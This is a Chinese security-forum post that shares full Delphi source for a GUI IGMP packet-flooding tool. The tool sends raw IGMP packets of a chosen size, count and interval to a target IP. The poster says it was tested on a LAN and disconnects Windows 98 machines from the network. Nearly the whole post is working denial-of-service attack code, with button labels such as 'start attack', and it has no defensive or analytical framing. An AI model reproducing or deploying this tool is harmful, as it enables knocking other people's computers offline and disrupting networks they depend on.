论坛: 编程破解 标题: 关于IGMP(传输层协议)数据包攻击 复制本贴地址    
作者: sainthero [sainthero]    论坛用户   登录
unit UnitMain; 

  

interface 

  

uses 

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, 

  StdCtrls, Buttons, winsock, ExtCtrls, Spin; 

  

type 

  TFormMain = class(TForm) 

    Timer1: TTimer; 

    Panel1: TPanel; 

    GroupBox1: TGroupBox; 

    Label1: TLabel; 

    Label2: TLabel; 

    Label3: TLabel; 

    Label4: TLabel; 

    EditTARGET: TEdit; 

    SpinEditPACKETSIZE: TSpinEdit; 

    SpinEditTIMES: TSpinEdit; 

    SpinEditDELAY: TSpinEdit; 

    Bevel1: TBevel; 

    BitBtn1: TBitBtn; 

    BitBtn2: TBitBtn; 

    BitBtn4: TBitBtn; 

    BitBtn3: TBitBtn; 

    Panel2: TPanel; 

    Image1: TImage; 

    procedure FormCreate(Sender: TObject); 

    procedure BitBtn4Click(Sender: TObject); 

    procedure BitBtn1Click(Sender: TObject); 

    procedure FormDestroy(Sender: TObject); 

    procedure BitBtn2Click(Sender: TObject); 

    procedure Timer1Timer(Sender: TObject); 

    procedure BitBtn3Click(Sender: TObject); 

  private 

    { Private declarations } 

  public 

    { Public declarations } 

  end; 

  

var 

  FormMain: TFormMain; 

  

// Global variables! 

   TargetAddr:TSockAddr; 

   PacketSize:Integer; 

   Times:Integer; 

   RawSocket:TSocket; 

   b00m:pchar; 

  

implementation 

  

uses UnitAbout; 

  

{$R *.DFM} 

  

  

procedure TFormMain.FormCreate(Sender: TObject); 

var 

     wsaData:TWSAData; 

begin 

     Caption := Application.Title; 

     if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin 

        ShowMessage( '对不起同志, 这个程序不能工作在不是winsock 2.1+' ); 

        Application.Terminate; 

     end; 

end; 

  

procedure TFormMain.BitBtn4Click(Sender: TObject); 

begin 

     Close; 

end; 

  

procedure TFormMain.BitBtn1Click(Sender: TObject); 

begin 

showmessage('开始攻击!'); 

panel2.Caption:='正在攻击......'; 

     // 我们现在做什么? 

     // 首先我们生成一个sock数据包 

     RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP ); 

     // 检查是否生IGMP数据包 

     if RawSocket = INVALID_SOCKET then begin 

        // 没生成 

        ShowMessage( '对不起,不能生成IGMP包!' ); 

        Application.Terminate; // quit 

     end; 

     // 设置时间间隔 ( 延时变量 ) 

     Timer1.Interval := SpinEditDELAY.Value ; // 从FORM上取 

     // 从FORM上取 

     PacketSize := SpinEditPACKETSIZE.Value; 

     Times := SpinEditTIMES.Value; 

     TargetAddr.sa_family := AF_INET; 

     // AF_INET = 目标地址 

     TargetAddr.sin_port := htons( 100 ); // port 100 

     TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text )); 

     // 连接目标地址 

     if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin 

               ShowMessage( '找不到你所输的IP地址!' ); 

        closesocket( RawSocket ); // 刷新 

        exit; 

     end; 

     // 在内存中按PACKETSIZE大小生成数据包 

     getmem( b00m, PacketSize ); 

          if b00m = NIL then begin 

        ShowMessage( '内存分配错!' ); 

        closesocket( RawSocket ); // 刷新 

        Application.Terminate; 

     end; 

     BitBtn1.Enabled := False; 

     BitBtn2.Enabled := True; 

     // 按时间间隔发送数据 

     Timer1.Enabled := True; 

end; 

  

procedure TFormMain.FormDestroy(Sender: TObject); 

begin 

     WSACleanup; 

end; 

  

procedure TFormMain.BitBtn2Click(Sender: TObject); 

begin 

     Timer1.Enabled := False; 

     // 释放内存 

     FreeMem( b00m ); 

     closesocket( RawSocket ); 

     BitBtn2.Enabled := False; 

     BitBtn1.Enabled := True; 

     showmessage('攻击完毕!'); 

     panel2.Caption:='攻击完毕!'; 

  

end; 

  

procedure TFormMain.Timer1Timer(Sender: TObject); 



begin 

     if Times = 0 then begin 

        BitBtn2Click( Sender ); 

        exit; 

     end; 

     // 发送数据包 

     send( RawSocket, b00m, PacketSize, 0 ); 

     dec( Times ); 

end; 

  

  

procedure TFormMain.BitBtn3Click(Sender: TObject); 

begin 

     FormAboutBox.ShowModal; 

end; 

  

end. 
本程序在我们单位局域网测试,可以攻击WINDOWS98,通过发送IGMP数据包,导致对方机器 

和 

网络断开

地主 发表时间: 05/23 00:59

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号